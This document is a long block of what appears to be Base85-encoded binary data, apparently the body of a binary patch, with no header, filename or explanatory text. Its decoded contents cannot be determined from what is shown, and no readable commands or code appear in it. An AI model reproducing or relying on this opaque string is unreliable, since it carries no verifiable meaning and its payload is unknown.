zUm3tX&dU#4L*<VMydAcOwrhRSdci*ayfv`;_R1c^AH#Ov{<I~m7w^+I>1!V(_hFv| zB#vsl_h2cH+}zmP+o*-jewG~0Z0`bziRVtx8C5m*)jX5F4v%v=w|A0$@_r)xaZjTD z{=~l2&t+}ignPcL<j-pUnAt0<V|~gFey%YOiP-66d^w#J>T6PQ3NQG>J#5RdvL0E~ z74`bb^|-w(;|nC_+=IjmI5_Dy{J|66%{t=~IoPH(>-nl9e>_EJ{vdW(FH`>D9I?jf zn|$XUTu|*B^z?##uwwT<Y<;Kv@%?Eo+Cr5_&~xCAtPM9-vQly`{FmuVV%bm18Qhwf z6|MOr=tLEtVE98dcDfA@U$$72Gk>u9An~=R+E?i<f4mA0H)sAJ=6lH<=gR3UTjT-$ zaA6P^t+_5H)i?0R8V32S^^`L>t@&flzR5tftjFoNir^1+3sJKZU->V|%S--u7Zz)y zu^X&{Kb-FPl)r_<{x;k{J7pJIya3aJUJTl#uT$j@&_=lWFh#TQe0RKi><-oT8T_%R z=7mc=6BF~iSi=<GpxW-Yo)NL2-Jl$ScUkp0tQU3o`*l5&br((4Xa10V_*jwHGf^uq zIK404sSJFOIBT#^G=?H}aK#yy%An>C^6)y}kEjd+<qz*Ju~UWJv^ig=37DH7-C|9( zl~j+EKOVt(Ybr2T|I3mU__DRIoo;Z&-&Fp{;LK+y5Ej-;wVom0tmwD5b&5vg^_{Dk zMGl2OY9vlU5i-%B2-O-p1jJt06VW2C$g*KkqF$Dv1ukekL(ErBcZjxma+;9Q34A<) z^PZhPM7{lVa!zYFFFdjWe8tCUd7r2wo|%|gD;VM`>ZC>!i~f=t_2-n8j~XPF9M=4? zvGSw;+P^?zQK5n&iR^5{AARq--yT)*-hWNDQ7oKGcF3Gc>V}=^TnT?<VDSP}d(KXn zRST-dXQwaF^8-|8s})rv_Pcus_c{C#AC@5T!p^#6TKOXpUDe$Zbt)@*<_~|jR5nYD zx|FElkA8bl`tKldSg`W&M<RPkDq}DWggWK$2iX>N2!FVT34BYw;137Ri#j)8ZVnPZ zIt8a6PG7c0poZa(`>k2EEaHPJnE1xu#e26{RYThm<Wvotpkbrl#u~Ar=>>oI)D@CL z??MwNccMmx*4jB$?TiW)1*I725w&-nwV$%**du6hzF>g-Fh$94tcd!9ebO1XZ|sTn znBDLrsv>Wplx>hr`D0G5+0hsLksl^Ropp&Cy!V8q$j!>0-bStb;lpMNE4jLjn(qaP z6R^)0J!k3<5Ia8nBqyNej|Beku7eKP2XFcCR{Gk1<L+Jd=GUi*#x`uP;N%gUCozBA z!tbCead?`DifUtTi8?=$>2v)N??>fAasvx{!mV<8uF<e1-(_-LEBXAOu1Lclzu|lD zMcuDZ^2#4lUkN)B^;nR&u0O~HC&lT+t!bIp{1NZ+eSTb*PflrTru^YsbE>=>800H< z^UPY=K__76ILaRjD}(i7S*co~#JhFjTbxF-qMUi6S0oM_B(9abd$`{UdWk4`IgLb} z+;e&lQS#}TKiDDYzM`VGyYi?%*l+B(;40`0r1F73V2^!Hrsq^mkKpAsyFnrzqSz+r zxbf*BnP%T~BUD}hf4~ZOG`hdwk5uZ9ZHlw>Wh*dIb9(gr+!Z#H9Cpr{I7QDnC+C(w zB-i~61(jd$hyP1T)B}`!P}d&`SnLqBYppm@F4)DXI)=rxjMS<5kchq0v;yh)nwN{} zv(^n~l>De8mQa5T+t2k>q?i10_+Au2qtM}xM3sDQl>8Zq(Zp5Id|!>&$<@$it=QSV z_+g^@UWI!;+v54CAXq{8Bj{xy@$fWN{>YEZ0!2?&e}F;01?jfs;QU_()rZP@PR$?k z%vt+^Vj4L<^G7b#5U0lzq%tet4}M?Cs|xMk@&~NP4&dC*%lynAtl+B{&9ZF;TCFA5 z#7wqs+7s(r_+v^wr{w@W{}nv_2{`AS2GthE%Y{AQk9qmsX{MaX4paW{uA@%J3PoL# z8&>~!{?GmvWmMfX(I|g-An}GArc!yDT>qA}f9)1S!M-zp5cM_MS(JRuA7tZoyx$g| zx5hPpz<DT}4XE}bS)H<XH|*yRQ9~X0<60}goSG?A#l-&>W1^0_JnubzzR^{^sRb{9 z#HsQ}N1WL=lad@ZNX*)M?|UHe@+}vGa|ZUUtjtv4@SdQJ2NF9}kEzxl{8XwY_b@7{ zJZt{Qx>+Y`kExnk)cj*StdBW=3#)H$tkC+rl~n73JnxAK{s_UAl{lBMUSd2D{3Zt_ zf94OtDs>%%&Dezvrq!OxLXg;~P_U1E`zkzs)*=fve<bgd3y}B|VSi95-SP$Nh16@` zoEFxN@<%|-GkXfMy?~?dljE5+hCg7!cHe$X)SOXqRqFaf>RS^vIiX%i-XnTd@<d~J zLHsMCagQ_OsTe2dHy%np0EuhtlltSgsYHEvs!IOy=S3hf*@CxxKG#Rf=j1v#`N|(R z?TtOArkl5RoV^Fcj6Z}f=2^7<aIFo_Ml9^3{#B~`E3`6YJx}?AT|#c~_6!o6+Ve%K zN<L_i_zwh$Jv8xSu+KM65d7gQ5{rUjFE!jx7UZNX&-~%TA2F=wQHPpcFk|=L$6X1i zPCvsbT-Z*>p>oZ-0rdx1b8-t8)?=Nt!i`b#DM*~$@l5@${1J4&L&>MNNQ@H{?gRBy z3gZOTNW5*uqUS`(t8c*5i6(A?Ni~14SFWN?XiedOT-XC$6LX%Z*3c5dA2H``j5eOa zA0AOJta01Ha|6MZKNdE1h17Z%Zi0LKPLVh<QKP>+*sNpaZy~XdJFx<Zy~f3;F>Pq` z)KuVUtyX=Ic#V&zCk0o8jNb|158+$kj}Yw25BYHd76+$me3e#9+@LL3H!0UB{10J0 zGOhfP;9q6kar;AaDp1}j%9~hlZiXlVPNV2Fai)ZWucmk^{%c|pOxuX#n!Z_<5!mM$ z#Fp;^i8m;ym=lnmk=@;cKUOAgq4GyUN5moOo71vpiLjWU=0zL7!0&cWqe?n0IhDz> z7*xB{5M;@EL@X7^ovash9=GP4<rLOSrPn0&2P>Kxho^}etm1Tl#KdBv28sPQ>*B_! zP}46WYNO;sae}n|Am`M)>*8_CsjD@~R)n`Yv!1~pM9bG2o(|A$_d$#sczRT_Yhm#m z{uq^yh`N4eR*L;~?Q~sSGL2gJ19#8g`nyrN!QJ-WQu4$0<knN!2&Va}LIa#xPwNlO zwIXp$Un!;HWj$CscRw#aX$?^}4s|iRqnF{UOf7UW>@lJO8RK+IMJ<l3bCNC)@hX4F ze&19ZD=<|Psw!cJIlZyrR$)E$f5{O!9FxQ3T<0fePbF=fApGPMBwnKDJn@~;PoC@$ z&|!xY#LkwJ0)M2S(z5s#{s^@Ga8P3zSUke3x<Rwu5OEAjtk9mm^-+tO8rKa}tN9~5 zPH`GRhcgBxsKFt1MJ|q{oO!`2>i77FpM1d|@Yy}5ySjBTR6BzXhtE{^d8)BFwS9J7 z=OIcy7gY<Erdl;E3lIJngSQ!oo1x|xR?KerfzwBq(;C_<7-VA)?X-o%N!1kZeCdEt zy|{;^sw&U8Zd!kM*SL)mP2=#WCm+)(jNU@x1W(0u3VAxiA0T$T--w=LRfyQsGuIjF za#ZFuf5_(w>ka87%xZ6KX3wk?G=2ep%;7xr1J4t{AAQtPfwLihJALKzm9kRo`<5dW zDxbnGe4kGvH(x0dH_>!J;&}f^yRC(sGUX4V?rl}c>rRsTLwIICm2)c{73qJ7>&8h5 zEmlwK5AuaZa5+&9{4pb^L$chlKE}biIem>98d)fhHY?E0w0AZHiQOVp{@{eMR{kzN zeyUOHj;%e(tb4z4w+-w4E=9>_Rd$QS${%3bt&&&POVNGn@<x0-Sv|To3BB#Cv$CXK z%VCe4m}6YGc{xP=;5(4xPhmW9kr(v4siJY+GO#$K0*To13;V}Y2<x#s>iWZf;~sB} zCcfa0tmmqyLJrSLUXYj^3KG|TGOL28G7=Oqx=-DXcsD7Dk&}`re<binMAYMx;SX2& zV^B`OwH>_ofG$&34XSww9+$J~x`i4<n+A1{S$w2cYssk~$Kp7_AL%QX{(01R?S?;y z20x+kRKzP(pO~G<_a(R32NK`3=kP~rG`1ppO!XMIqMAQEkTerjY&|+HOSg!Roa$nL znlGrD<m{P_JWs^evRLER_61pR-N=yETuvvazs6Z)T7f;NxpDW)a(u}jwI{zeO8$3n zp6WCoBpw?TTJwj8;^*vFam^q8X=)&*XubermKkpt^(=-*B&Dib0mtIB!OX?mo8 z%C4>XV_Wo3tQ787a_&_{-I=u&1d>Wv{3|*MxM`Q3igXe{V(E_hO+OO;;5%Q%c=G(T zd!F!za<#|z-H4K>PWOKy6UusF(W1*0D1RinGjC92AAnyYzNS?lmi`R(NR>af!r+IT ziaXwi?DthAQ77msK1u73pm$@hOBbESj;;A4eQi3-$(cVqb+@C6HF?Q*i5nnMgT&&6 zCKtXlx$b-_9Tmv~{6XyWqTM2ZZ-Y)IimXTUods3XM@&CBCy$69wg%RMFY$+lrwRO# z@A)k4u7WMq41K~nUDO}rc2tE;)Phwg^!%`X7m4u$o}A)FJDXf@^ZgA@5W7vzt#r`g z52rgvvyg|HKYZ=nJ1F^KJAyyJg3iXKkH&6zhN}1s%vhm}jYpIdHES;&VdEr$<ERjg zI=Pp;m%Q(3mE&|gqDc*Z)H%%eyORS46N_}B!L$Sw`o$&onOxIL<L^_WvWN8NNz_yq zrAuGdf1QH=KA*cRGMRBv{us9x#GHc^Kd7$otucS@)ci3s$fAFnv&P@gcS}@N084qw zA0D0PgioP6+Gt{;?y$3^JL+6|Ds=Xos|nagB(jt6-BRiO?grHck5kr;xT(UD>!`c2 z29+ynTzg#Zo|R*7K1Q_<ZJZu!Wc?8le?@J2jkX`c9})Z!!5>+BXg`%)Q#BDY{6XCG zbf1C5V3pBd!mf9v8p@@^eD;acU;N#=B!`WXul;0Ep{$#!KVUt73#P#zf$~Q}rS55` zaAPghrObEn&gDFDX3Gt#J%!`8OzwQoZcfxi-m!01qKa{_98PJ_-PqSuiXr^rOBYuB zEBf8uDHDV}yAFvec}|asdLv5SN6F928>8ee`jIHG3*W$3wYn~FW^4XP)Kz!7Os0@8 z_vi`^9Kz$e7=UZL)2CD*&xm+Zt--oARms!SOsZ|L#k(e|D+eFxGnsS%IepQv${#tN zN}q~SqptZwl)U?vlIJ{vA~U1p8}DAH8b%eTOzRK!5gxw}I-o*3fz}_MGC<Vn+drJv zpjUhhwNJh-Wj^XTC(m@yiHfgfu`JQ{uwJ12kuVPyT#08l5loY+N$U^!lu@~8G_gdD zC-2=sd%vUPQ#A1u73#^FoWC#V3{S2&LDV07(Myo1ui+2*T#rxnaNW>ktnw89YF%uL zX*q)PzUADtTKE{%lBeNW;P8++v>~|;#QjqKNQ5=JeH+Hyv#Vt%O59Al&GDs@i-`|# zggKSbEfOoH`Cwn%a!{dO!ykHXUtI79KMkdoAHT(ea%%p_*qKp##r%&{bz2y3g@g3~ zbsV!h#-{<5Ysk(CVUQ61h(O|qmEr`|{1Nrohj6QZ>;IzUL!DDe8lTwo$hyucyq)<I z&uHr&u8oqf=U!M7yqEczKZsfRBR@Lut)u)A^rCKn`kmp+KSHq$@iduVYR%ve-};iM zQ7E$8&-}40bHOyGVK~c1!(QFAhiGClVz5fRlKAj>E9=%#GZR#R#8L0_R?dE9MO4X4 z)FCr}fq0=>e|U<KQFlW1=o(i<Fo{|(KW5cP`2*YnbI0wzy+zAEMFo9GjYo}bulO3; z#0TrSNB+L@N6IABx}Ynfte4dM;oXTu5!^aFn!|AKsi(rq8zq0=1Br1&WZKhUpMGD? zR0AlY{NYg<cv2a3S2#go%^$u_V7bLq`QwJ(Ow``keWpS_rT%z9FG0Hg{dU%7CHOBh zJc2<P<GT5<rg>(Wc5{fD{UKG3OfoTh+G^^GI)^Dr9<ALVv9O*_hL8!tKB-Z4DlWx) znU*Wtkx3@y4^L`6PKxxvC0o9B&|_F{QGLuF5dP?+En+;kuTGCp^6S=yH3&Km{1Ko$ zhW7Wr#~<#I94faaIuns7e}wP!8B_ICvbU5xQ8A-8LeKf8zatJ7QG+%X=h1kk${+aK zc7flQQ-AnWAUU%N16&`8keM(dZn1ZnZDmLAPOil%70!b{0_u-``_mS=7Jahy>HGWI z%}hkepIrx5^&XY=EfVXTN(vIsi-nzBDtWL^x>E7kcTP3x5G2loM>*fDAXQV;UD!`p zWwNdO;U4E;Zc+V2-SjDau`v#o@W&GDcmfimF1i^GmM4x3{6TM$sM%S{A7l{cW~%OX zVpxw;=AqD6GNWf!URX~xvAElu+D3)e+8GsU&_*y)SdTu?XDz4J;tBkbTsh==ciNUN z=oKDgVxE`c20dq@=^JvqEk}aJg**$|o*pIVo(>4>MJFQb%)}pU{3i1$yDh$y<hnTX zLV`ly!XK&eRL)4ugp%<Cls`Naf7a1j_JTjsH!<!bY<uR9s26p{_NVa2q+G&mqf$J< z8_wMhgrf(=pT^1`G5nEKA$S<|5<2KSv-np%nU`XRz<QmUKT`Fj&e2FGL6y98M^mHZ z>&cLOkKc4V6({Tn64w)5T7R(Tv{E0Q#_$I}lQnj(G89?g{!;m4O_e9^>kB&4kLmjd z!YQ%>hj<?=e~hXDQFEGQLPP5h=c+GC-t-UE|MlSySW<ndLUOIWuLMu!#fg;{BtFlK z3-)D#BBlaY-#KHpc8-tdQ-Ap4V9BHjNW3z&agSZujd0x-pxPsRw+%U#87w?|>W?{R za9z4ZcyRap40K+8n2V=U^N06d!fE!XC<CL3YyL=I_;d)EIcqfW*;7dci5tbwJY@RP z-OscF=O<Br6m`@qoS?9AMO2HUFUgm|E(gxLX>+!%58)3{70kbYb_>4bPrp7*Iivjj z3;uXO)SN>_PIjTXWIvtqrdL}lc^4%wIV6^vKN9=^5VTRD_4f%9_d%OPkv&moDd-KU z9(g{kKYThMG4lpfl>C@FBZEJN#5{tPU!dGRLd&m27xQ1x@vOj;)2PgG-BPJuc;*;= z!t}df+68~qw*X9CVKA*$^2vp#;(^37dx?_w&-}sqQ-N<dk33(^ADr6WjlH0gzzUNs zVy0>ei%Inf{4us?FvtQw=tI=;x8TJbp6<8VwZb0o#|(|fO7YC>th)Zl4=d$XP_yO_ z4>yhJ8l#Ep*==?<b1Ey_6Ysupg228=RcLzV4_|fP#LAkU8z;phYU=(|SQup!@5nS- zeo?((T6Y3}tcmz5^bl1d6?NXi|3b?Ly{s3Y^6+h1C=8uTBrEDh=XmlP#WbQ;|JP&X zXLLvF9LhPP_vLGMlr?FbpnAr81d5OW^$k*0s~|1>A$v~vgMXuH7dA8TqHREdoYMsA zqUFD*{&+}TD)UUEY7N#+QJx)ZV`qYD${!B=fhSMYtdjH+YUgHB&cxvnt*iBir#W2y z9ukLi_E>p?*q{h|76n!7KE+7?=agK>$DQ7TVO_w|1pWw!`T;YIp{QRNgxx`WWA?D= zppO)zVN0HcZWye`xxY%p!BX~FSX;@p-Y7|>%3&Wai<LS&Ma>_cD*5T9k{5KqQ+WXP zou3ZY^FU(mDu@$Q--96=xQ{X|?bQ51rh6HC^C8o2qjC<nt>LyQT0*)uGU>L()yjDq z7d~9WAIzV?KFI}t&>N~G>XfR9NM7*2DETFxif3|N^GDQubgATZ#yi}9hYIzivNm(a z@^syt?o}#tXu5VOGaD}5<S}c^x}XpO_``wq#Pu1$aBEbAI9Q*+A0M-u!9TQoSo24I z+%mnDwfVa>fAD!%U<^o{nySh45Aiq+n|X#m)KiI=7>q9`LllYClRx(@J#?SbqncOu zkyVp(0)M#2iFi<~as+>{FTvssUeyz{L<Zx1&lKc<?zwL*@ni?=o0yu(ulZxd^l#R7 zw43SG{NZ$-g2aBKb)^$cU15|wIc(~Dl)P)XM`CDP3^`}Jt?@!H_#<M*dn%fRt}OYc zYVu*d2{ZA1yb}lPinN37Q|moL1N{I;(|@*Z6z}lpacg7k+W1COb8m$Xf#5w=6MK+) z!MhW5mrbv>R_H!T9u;clRGRt&Bo;rJSOgo)?2sby*f>GAl|gT2Pb%_21p)rc4UT<` z-}eyD=SEp#+`iGS|25M#()C}Ui{-yW?S6Yj-)sr8<TZcDGsj1qM&*x$>WnX@6@s46 z)P8Dmt^DB=&4lhKyZ@Z)1QhAFMaicPe`psqEJVqBHH&&wO;K-Qd#C)&A3j>%Ek@OY z7Wx-HzOnJQs7{~LKbHw!DpRmHV-@(Pv#>vJ&EZU6deO=sJ`>_mWuhh?Q3Oo8Iak_Y z<}}thR8M}6r$W?kA#sM1CxeDR#GT{Z=0}uP%^&1ICKY>qrlprPf3Q3DE|WnMl>C~w zLn8i?o{fhh>ce{}D-faO9rk-b#eIX4pTm0W4%Jn@)aCniIn)(Rls|}@4uLB9MiZkQ zeE8!XC0|d5c!DA|f0(G<BX<CeX6duvq}S9Nwm*cq!kRx~T!?A8z^nRHG2$ulPQbP` zZcA|5won&3f#nIh^n%V5B-W_U{Ndwq@@xjvjMrZKQmja$iPdq<4|9;%YxtwSxrm?K zppAMo<oX~dB~vdaL5q7-O;WGj@`qath|k<fd`6BZ)f_Zlg3(mBRNLTqH-JAp<&S`> zoWH9#64Uyg33~)jrH)!yPjl#Wxw$A&UufbSB#yXk!<uOQk$`Dg_W|dY6Y$nO%2ma_ zlx}ie_c+~^y=0PRs{FAewh?>bJ6P{Ke8Le}>?$7$e@v@o3x%gs%lgc^zcQlc6gD#v zD0%nz5p{)k!5<#(HWNq2Q>m4F3W{WvBXcjZv+G-;4zp35+c)eH!~Ih0agTCkMes*b zYlHySOHu6uRK${qv+8S<=0oPjzLt5yGC$^2uK7MZ<i|Bg97)Y3Os^Ggz_i<U@P{ww zOee5Xre@rOuo=&F<`0jF!FMJ@Y9v+^sp}6=62}Ptp=4F0|M3eM$Dhs*lZqJ&<&TW> z<lwsD_Q4;UDya(Q(Pbibgo;~&&ZBBhFCo+ph`Wyuqw=HHO*^`96Flv*go3aVwf1U# zx}HqG{GO+xNPNp5+_sUMA{*6xJRe`4u-+BA?;ZYdj{{bDBPR;}aH#YawzzKJ<E%VY z&uszT-PnB;{&%OXWLh{+`6Gruo}y1OkP}pZKN65LU|KpiQJ?w4r$Z1m?zVA)K;n%~ zhWKafOT`5@O8#D=$ew`gS#QByXkI%|WE|HGceRvB8exg7eM8LB^}oie_<)*85PArE zNd2+0?zcb(gX3C%_%MBjCT4dD-b-(YPl<X=#+eR5t>lTu-2J)rRCGpf+)PW$nn*8N zkvPRwyv>3~)Z_M(6K6^557v;XNwm#R+*=vr2hPZ-kGha)o9~&Aoxsu&ES~WdbXN8s zwbrm6nO3g%VNLfikh9#}08#!(sH`WqniwQzXQSl%vhrvCNYH6cXWF2MtV*r>zCg(* z;^T>9s;n2apW~c`)N6b;m2r%gA63ubiqM*IYb7Sf($RC!7js-URshE~V!sFQ2R+>~ zmrAj&%YE)WvJb&Da$Wnsd{TYyk$o+>u00h{AMNZ363Y~)D0$|SZ`8p}wf-<s=Z7b_ zk31izTlmAf6OijKgm2-GP+f@pI4Y<3@}IIBWU_mBLS@1rqLt?@x<170FrAa&Ux6)_ z>Ju<1{e{(3=YJ_(mJ6@M)4JmKk=RxKNbV7}x)|&yT#O$Y-Pd^hufv0bW{EEN!y)R& zHGkv>_Xu(oTY633pyhw8J+}dV(7KrOr^^-&sl+TuF1**3`j%6n_e}hsQ>}8sBP(h! ztwvah=3P%ErL*U0XD<;>7he`k3z%w%>l=wFlTqo*l&GnQ?5Ot5_+&nJ*iQ8xen@Yh zy@4Mj6R|&`Hih$GaU86W`U7_hjn@Yc$un5YdNFl2M9I5?4$2>V4sKz1c%evKM^k(9 zbM20H8rCy62z6RIx#bTO)Cy1Dmw6rO+i1@%JdCP^@`rcr8IKZ0Cj0^Fmh*C3%KZ5b zulr+s7Ul^{_o8>UEM@wawLd$gJay+sjoKF$rv4y1DEYwnQfGDP>9ll+l1~L2bjE_+ z1QL%?p^5BlD)0o|2ReYnuK0M$A1SOC9@b?Fb48pc=St2~)*ch}H$)g!R8;suOZ5DJ zGx$B3M&+U9bL~^c^j4pN#DVOudkNi4{tbVS!?*Y&eHrhVcxaS-JuPiId%h_7W(o%v zW669OD_6T6p6n1o8)1K8YpFnVf_Dzz;#$BT5&YqF`glH%VYshQ#@9qVwTAW>wLG%$ zR4OtpUXb#K3nC6rD|8zBL%KHbhevHjl_l=Ph1T^^@|wf5r$Rh*_O@>!HhYQrGCJ~d zZqLXbTv1<~*x6vI-#Ac*d3j&?!$GY_Z8|h~D<9F1{t+x5S$%s0x4_@<$H&|t%yHd_ zi28+}LCvM7;^N+80=F*o-eYR&iu&Fo)8Mw(DEa!{yma<_qvy{25gwVYF%!Yk_m_Hx zsGll-kSnIuQmvYn<#%+QZ{Uv=IW<#bGO0k{09F~d1LY5?KjPM);-~7pN7f4d$oET> zyvYqaQR*g?{8)V{a&1_zp52}qPu}!&Yb171@~rup^?asOKWRlZe~@okJCqjrLya5$ z$Z_3VQ0)oc>(p9U^v`gxo`A<g`Ziy*78dwG2gIS?X8*Kh`qyQp(waX~Ithbvrbz5v z@Q2eG;HjkNs5>t>j|Xuv5<z0+51tR~`&M+HnbwhW3)<v|03{!s`6FSPHEPdWQX9MQ zN4V$TxbG8C?GyOpG2J|QE6NB4;q2f7kVQ@@nN<GBn4^`bQ{|5o|0>mcE9M3|QJ=jM zryFPvI}N7E6vCbv>{}J8H$~1~sQOntn{-qT3)o-Jx7>yRO9P_r@X2%ZdVI(av36|| zIy5_wLOi!^IjXzVQT1hOhQ^E3NlL)Pth<pJJ-s(i%r)NUhfiC<t;3@|-Jtj2Z6yy9 z=Q}0_#ZNX*C;c5TZJ~EF(u;eK@qWvmb1wKJLnREDmY%{BoGN<g(gAsd2KoVA!P8Ke z@aM4M9R83Sab)LwZ$+LNC4as*Z&uW0YTqGhjYc~OUajQWM@_Ef{S>=xnTa1z^M|Ls zG>}PpWbj8SUH_N<Yxl5ZS~{Tq@R*VCV66;P8!+uQAnpkji0lLD?>>M(n8e{(!edAU z60-_ZG~NQv^u%?e{z#}5gU;vTseoz3!vvPE{K1TPGvnRdTe*_Xp8whxB;N3)?!;PW zERvc(Bx+a>PbEC_hcA;R`zc5aYAJt2Jx*2UhF&yxLaV7xtcV|!gA_|#i&?cLW|s~K zXLKK;@*e5EN1nIl4-X}8Zfp7miR-TC5+wFa4c9~siYOA_@<;6_J9zxb+3iTcw4#a| zf5A-kQ29JyZwBy3)(z-@jKSO(B)$P5e&V!EaIl89sAW6?b=_Dk<&O~lD5@LVfj_)6 ze*`G`tvHfr{$N$<j?Qk8SUgVY*tO@E+L`$>A1`!d1vP&Z(zVe(5O=<7{_yL2kE4<| zCZK*D)VkCeLptam<6p_W$BwnK7NGGB{Be12-mm#1r&8=|)Cm(<e96SEtSAmoYND<^ z6&F7_xtNwtQ1aRBoo``ljXFm`MHl=bKQC+VPGJ#C{~Z4C_1@zIBpzw~0l&c?g2q4S zPL>XOpQnjn5aIAOTpg?H=8J<x)fKb9R^-Ohs;Q8=NhZnLeBZ4*A@g9|XO!-!cUJOz z@4bNevRr0@YW@Ioz%-q$Wyg6kcMN|dR}S|Igg<iDIHhZov&QQ(K()`{kC`Pm{hum- zJc0FQ)`p#9_#;9u(d9L)*VG@cVkTEn1cGUG{hly26LktskN;Mm(LH?B;``1@zL0a) z`||SMyyW^-zR##-19f`IKz(n1O}$3G_AX!i8}!<iV-NyA8kPAC9>7%jqo}?>ckuTw z_+uzD1G2wf`O-nJ`J+bSv)1+K5TFPSmr<u6ae=48(-{?7Yv+!<eZ%+$R3QA!SAxXj zGk+wi#U1VlMLPWxA7VH!#0`qT;uq+)Z;5yW+6_vWu#~xrA^gGW%hVYB;q*`&ATg_i zbK}dz6v!E~4;{H9bmoNwuY|X6z`>mhBt{cADpc4}_=B$0n9d%%Rop_;nczmrk{OFk zsy*?qs6R4P0+rdx@P~`PHZM_Q+5!0rmR`enIs75@hq?Edby%xA>{{tm(QSHh%H`%m zJ)K7E<VJ4W)KM#cu&!5qn;Z&%)JV*CqU8IAKcw2L@6GqyOPnB|jy$MtvcO4^9(Yvq zhoe;!y6q$x9Z`V{)WLe7r>`L9C0HCE+(XDJ2(qwJ<_5?;&IbJ9C=!!v!ymA<&(tL= zDs@Fu=QAzM?DpHYZE8Px1B&Q*r2ddxd)GsheBR7#Xw?+&N9Cu~YqB$gD>4NZuj~=` z=7m2Zs=Tkkwl(|_!yk)k!hUy^KV0PxZUYNf%W2m7!()brTgp<K)vU)(#FrYF8NJ)6 z_1@#O@#Mw3S3fyEhWG}a;SZ@$i8^A>xfl0Vd{phaV8%jGfQadUfV#H4w@dCuf5!yN z0Nm)qAM)OnDZ8CK3nrSGB05#5IrY#JFo<=>xf$9-(;)HL;rV?eb~+Q3ynj}qtUr^5 z)NqP6o^jpa59tHBMQrL1JoS`XZ%}@HT3BP{4+qX0)8GG`sGs3rnGVRXJ#KI8jYV&o zstN3rKDK=AsP;f&J_XkEntLW!Lwu>YiCS|g(V(?@$@#XX$7D!gX7tRon@&~xATgR) zrrmVzI8oLMnDL(Txjy{CmtZkb2i#j3+wfX@L2U9ClON%a2keU#Se&&Z7{uvp><)9Z zxw>wC%^x8v<q~yro~cXdHc1Y{W_FvXIr%90FIrBc<aNfv1BpKYiTPQgpJYwc!KE`N z({9QivUUlTdWw?IYyR-zkN7wTi66riu(CCxHkJDcWA?{`mJd%m9S7y%P=93Yg+=EW z*5i4%>{>HdQpjx^iMo*bT{HnX<gH(q?l$*ULMF~xlg0(F`;jOpc@L5(dDFMVH<(r{ z>M+i=IVXB=-lZGBCo6x%`y4%na)v)-%HK>K&jgRroe#)#L@y!Ylm=H(&*`Foh?*U% z{NZz&eWs<ko7~L5tLq>+G;c5=hsKjXdn#VTA9~v+!;=rSvgSKAY9Az?;^SpHcg&f* z%gT}KklRU1d<bys;Bp6Kf-(+JZTEFfn$rf_4azA9{qDWTsJpSBnNy+2$=RWk5UL_b znht^Tg2SAn<d9el63bog`rcz=P^9LMg+1WhvU2Bp^Z9O2GDB5Y5Ue3pQ`VkYR2o`; z<l6NYH7`}Pbb7bM%UOj#!eU)Atq1F6;sptV@XQXUg51=%E7`5G51IAJZjo4`c`vyd z(jE1Ur?NrGi!;ld$^sRdh%!>v;{?!;+?K9PyVd-WYRxM>@ZiiJk=Dl2HJA|Jq!b4$ zpvn{V=ACdh;k;P+BR-BwZtQ8zMa=LAYlRauQY2<)obRo~yCoe0uW={D1;m*hYj>3W zT065oni!YH4w`!_dILQHi5ECQX?;^Fh5N((yx@)_9FVay$y6^wM^2PKCREM|5nrQ* z<lf^4IEYhv3G5r{4;TJ$iwq<Vq}SA(3z>$oWJNiLS~Zbv^`&mamok`kR`Of<zKf_+ zu+J!YPkjSVS<hj%HZ+yGoNhTM`(^Ru)UWv?>t?t?tQ@|)+<SbYXe`LFqI>!UQIlz6 zX8qw0;?|jgz_4D;9}YTZExjR$S{)u%9$zZ7&>=<>>$?aOlzjih%8TMx)=O18bHm`w zAHsSG)#FF(xwz(!6xYo?EQ{bYvxaR4ybXwXW>3Ik=_c&Z$`dep14{D`b9>Ac;^>nf z<&PBhS>maX>oeXba$_7NPc()XK;jf6hG|+^qvXxB8xtQWD1&`E>FcW|Rs|)U1g&S} z=Vc%<+0y#MrvizEw+iqTCE2H9+So&Cy2o^F<lf2>d|rqyR{rR>L+jmp^Dg^qE$)PP zg{-M3ooJ>m#ZyU5U16pWxch@<xt;N@k$9_0-Z!&+=IKD<VLknj!2O;^?K6#(pZOz} zH3o_CPf!sXYih|&&969h0egd~AUH4UL|VH#I6-o6o_Ofmu>Lw%B9p6`)cKc_9Q0~A zJto&?Iuj+o(9WKB?nfp}hWNMl9@RJS(S6JEMtnS0k4(q})>Q-&qvwt;ap$`bAHpr> zWx?F>lJhp#spACpm{vu_?FIG?dBbIP;ExQK;OknS5Ht0M&$)=Xx8mshdr`aA9!h?s zb1G?r#OkRG8YSOMaiX1Ps^s+qi0g*ik?$tD=Mp*Jf=X!lh<lF>e-Qa0$8{Tl#m~vC zbU<b(W5GMAO0HYf0qv{{4r%?7frzk~An_SFeViMemKIE_5tba$A;_CKM@3>E6xkO2 z2C>gbJX9sm%9*?2QW@-)#a28{tssaQFUTS4N2ht|DoeP<pd66ZZ(zM|=!%W1QOzvu zR@~Z+)&ay^^GC#~SQnrJRa3{*X1bzdiRR1;9^KIeIrQHUOU-()8n<owg4l0;-%Wd3 z#q}IBnI>v>Nbxb9grKh0f~!cijdTs*4kBK{$V2jcU-@G~%=r;q(<*RVI7H3<FkKtt zHF5`SD@wk}jdX|T)!sC0W}Kk&8%%h%b7wCFi6^2$MHy-Rk#KGUkT|dJ&HK1+DN%<g zdGr{{CShl?Kf6P?dUwiTj}d!!2uFX(j*j6yZX%bgz#&F4g~}gtZzYqJs`(><KZXX0 z&+{jI5;<H@4QZ~`CkA8hM(-&3jw0~`{D4GUMdJ40bPwNvcTb+{56%g!=N4o5!vO=F zUe<NU^b9X(2R=Cb^P{5i0_7=FS<JDNAzd3Xsr=#6eaD@UTL~8$77hl9$#t!DS$W=I z!c@a8600*C@mAQdaWNFJef(tJqo=x$Y)g+=a?M0n$e!~BmFU{|^rA!fb^;Cr_&pI0 z)&e(3ZYMm|9J^rM0+e3CA1Sx}w~}e;`fDZN9;T&4&5or{PyXm=dG#AiG-~CAlpMN; z4^Z-+@l@(*Y3KHhruFv;I!pyc*x8=eGajrb_Z}yuThAS*R88(-UTm185&jrcf!t`! z_o<rXeG0;PH*E(tbkH5BzSC0KC)N7HXKG+s@J<^2l!P@UZk(V1HiH|Dx>Wv1L1I=8 z4km+UMi1=}FfAR53ccVDcfZCD;GE!yCDK9H8-z1!P`ToqX^rXbT~KX>>oX;%WYyZz zXZn_%aRXw=vqbGk`NQctouU2c6rTBm{Uuy~)OSfqZdlPmCpoh2L+y^TLnMcCms{?m znC@uPj}(9Is`dj+{ZZe0oS@`6V|Q3RCa{Q}T(7KI%^$JqvHUoNKbXC1Z8>qD(6cEx 